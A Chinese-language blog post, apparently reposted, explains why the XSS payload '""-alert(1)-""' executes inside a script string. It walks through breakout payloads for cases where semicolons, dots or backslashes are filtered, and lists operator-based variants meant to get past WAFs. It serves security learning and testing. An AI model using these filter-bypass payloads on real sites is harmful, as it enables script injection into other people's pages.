【XSS】 ""-alert(1)-""可以執行的簡單分析


漏洞場景

如下所示的XSS位置,紅色部分表示用戶可控

<script>id="xsspoint";</script>

常見思路

最常用的閉合方式就是輸入";alert(1);",那么代碼就變成如下,

<script>id="";alert(1);"";</script>

也可以輸入";alert(1);//,效果一樣

<script>id="";alert(1);//";</script>

過濾分號的場景

問題來了,如果過濾了分號怎么辦?一種辦法是利用點號,取字符的a函數,把要執行的js代碼作為入參放在a函數中,即使a函數是不存在函數,js也會先執行其中的入參,payload如下

<script>"".a(alert(1))//";</script>

過濾分號、點號的場景

問題又來了,如果過濾了分號還過濾了點號甚至還過濾了反斜杠咋辦?這里介紹一個今天才理解的思路——用中划線

<script>""-alert(1)-”";</script>

之前沒有看明白,只知道可以執行,今天在群里和伙伴們討論了下,中划線不就是減號嘛! 也就是說減號兩邊的對象也是會先作為js執行,畢竟要先得到兩邊的值才能進行算數計算~

因此除了減號,其他數學運算符號和位運算符號,也都是闊以的,后面繞過XSS的思路就更多了

<script>""+alert(1)+"";</script>
<script>""/alert(1)/"";</script>
<script>""%alert(1)%"";</script>
<script>""*alert(1)*"";</script>
<script>""^alert(1)^"";</script>
<script>"">>alert(1)>>"";</script>
<script>""<<alert(1)<<"";</script>
<script>""<alert(1)<"";</script>
<script>"">alert(1)>"";</script>
<script>""==alert(1)=="";</script>

 結語

隨着WAF更加的牛逼 , XSS越來越難繞了 , 且行且珍惜啊


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM